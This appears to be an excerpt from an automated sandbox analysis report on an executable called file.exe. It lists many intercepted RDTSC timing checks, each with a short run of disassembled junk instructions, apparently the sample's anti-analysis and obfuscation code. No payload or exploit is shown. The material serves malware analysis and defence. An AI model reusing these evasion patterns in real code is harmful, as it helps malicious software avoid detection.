Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A265 second address: 81A26D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A26D second address: 81A271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A555 second address: 81A569 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FDD98B6CD16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jbe 00007FDD98B6CD16h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A6DF second address: 81A6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A99C second address: 81A9BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FDD98B6CD22h 0x0000000c jns 00007FDD98B6CD16h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B9D0 second address: 81B9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8216BE second address: 8216C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8216C2 second address: 8216C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821853 second address: 821861 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDD98B6CD18h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821861 second address: 8218A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d jmp 00007FDD98C55BF6h 0x00000012 pop edx 0x00000013 jmp 00007FDD98C55BF0h 0x00000018 pushad 0x00000019 jnp 00007FDD98C55BE6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8218A7 second address: 8218AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831B2A second address: 831B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831691 second address: 831695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8317F3 second address: 8317F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8317F7 second address: 8317FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8317FD second address: 831807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FDD98C55BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831807 second address: 831819 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FDD98B6CD33h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8348E3 second address: 8348F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BECh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8348F5 second address: 8348FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8348FE second address: 834902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83447E second address: 834488 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834488 second address: 8344A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98C55BF4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8344A2 second address: 8344A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842BE8 second address: 842C0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FDD98C55BE8h 0x0000000c pushad 0x0000000d jmp 00007FDD98C55BF3h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842C0E second address: 842C1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BA43 second address: 84BA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BA4B second address: 84BA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BA51 second address: 84BA5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDD98C55BE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BD6E second address: 84BD74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BD74 second address: 84BD89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BD89 second address: 84BD9F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FDD98B6CD3Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FDD98B6CD16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84CF21 second address: 84CF2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FF8E second address: 84FF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FF94 second address: 84FFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007FDD98C55BF5h 0x0000000c jnl 00007FDD98C55BEEh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FFC5 second address: 84FFE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDD98B6CD24h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FA92 second address: 84FA9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FA9D second address: 84FAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FAA5 second address: 84FAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FAAA second address: 84FAB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDD98B6CD16h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 851828 second address: 851832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FDD98C55BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86151C second address: 861558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDD98B6CD27h 0x0000000a je 00007FDD98B6CD34h 0x00000010 jmp 00007FDD98B6CD28h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FAD second address: 862FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FB6 second address: 862FCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FCC second address: 862FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FD2 second address: 862FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FDD98B6CD16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F7F0 second address: 85F7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F7F4 second address: 85F7FE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDD98B6CD16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F7FE second address: 85F814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jns 00007FDD98C55BE6h 0x0000000d pop ebx 0x0000000e ja 00007FDD98C55BECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87372C second address: 87373D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jc 00007FDD98B6CD16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C99B second address: 88C9B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 popad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C9B4 second address: 88C9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BC07 second address: 88BC0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BD80 second address: 88BD86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BD86 second address: 88BDBE instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDD98C55BFEh 0x00000008 jmp 00007FDD98C55BF8h 0x0000000d push ebx 0x0000000e jp 00007FDD98C55BE6h 0x00000014 pop ebx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ebx 0x00000018 pushad 0x00000019 jmp 00007FDD98C55BEAh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BDBE second address: 88BDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDD98B6CD1Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FDD98B6CD16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C4CF second address: 88C4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C66D second address: 88C672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C672 second address: 88C693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDD98C55BF1h 0x00000008 jc 00007FDD98C55BE6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890BD8 second address: 890BF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FDD98B6CD1Ch 0x0000000e jp 00007FDD98B6CD16h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890BF0 second address: 890BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890BF4 second address: 890C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDD98B6CD1Bh 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890C0F second address: 890C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890C14 second address: 890C1E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDD98B6CD1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 890C1E second address: 890C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDD98C55BEEh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892B13 second address: 892B54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FDD98B6CD21h 0x0000000e jmp 00007FDD98B6CD22h 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FDD98B6CD1Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892B54 second address: 892B85 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDD98C55BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDD98C55BF4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDD98C55BF1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892B85 second address: 892B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892677 second address: 892691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FDD98C55BF0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892691 second address: 8926A3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8926A3 second address: 8926A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8947CA second address: 8947D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8947D0 second address: 89480E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF4h 0x00000009 popad 0x0000000a jno 00007FDD98C55BFCh 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51303A9 second address: 51303AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51303AF second address: 51303C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98C55BEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51303C0 second address: 513040B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDD98B6CD1Ch 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDD98B6CD29h 0x00000018 sub cx, 3536h 0x0000001d jmp 00007FDD98B6CD21h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513040B second address: 513041B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98C55BECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513041B second address: 513041F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513041F second address: 51304BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b call 00007FDD98C55BEDh 0x00000010 pushfd 0x00000011 jmp 00007FDD98C55BF0h 0x00000016 sbb eax, 54A686B8h 0x0000001c jmp 00007FDD98C55BEBh 0x00000021 popfd 0x00000022 pop esi 0x00000023 pushfd 0x00000024 jmp 00007FDD98C55BF9h 0x00000029 xor cl, 00000056h 0x0000002c jmp 00007FDD98C55BF1h 0x00000031 popfd 0x00000032 popad 0x00000033 mov edx, dword ptr [ebp+0Ch] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov dh, ADh 0x0000003b pushfd 0x0000003c jmp 00007FDD98C55BF4h 0x00000041 jmp 00007FDD98C55BF5h 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130514 second address: 5130523 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130523 second address: 5130529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130529 second address: 513052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513052D second address: 5130531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130531 second address: 5130557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e call 00007FDD98B6CD26h 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130557 second address: 513055D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513055D second address: 5130561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130561 second address: 5130565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170042 second address: 51700CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e mov ecx, edx 0x00000010 call 00007FDD98B6CD25h 0x00000015 pop eax 0x00000016 popad 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FDD98B6CD27h 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FDD98B6CD1Bh 0x00000029 xor si, 542Eh 0x0000002e jmp 00007FDD98B6CD29h 0x00000033 popfd 0x00000034 mov ax, 8EB7h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51700CB second address: 5170100 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FDD98C55BEEh 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007FDD98C55BF1h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170100 second address: 5170164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov si, di 0x00000008 popad 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FDD98B6CD29h 0x0000000f xchg eax, esi 0x00000010 jmp 00007FDD98B6CD1Eh 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push esi 0x0000001a pop edi 0x0000001b pushfd 0x0000001c jmp 00007FDD98B6CD28h 0x00000021 add esi, 48A4F3F8h 0x00000027 jmp 00007FDD98B6CD1Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
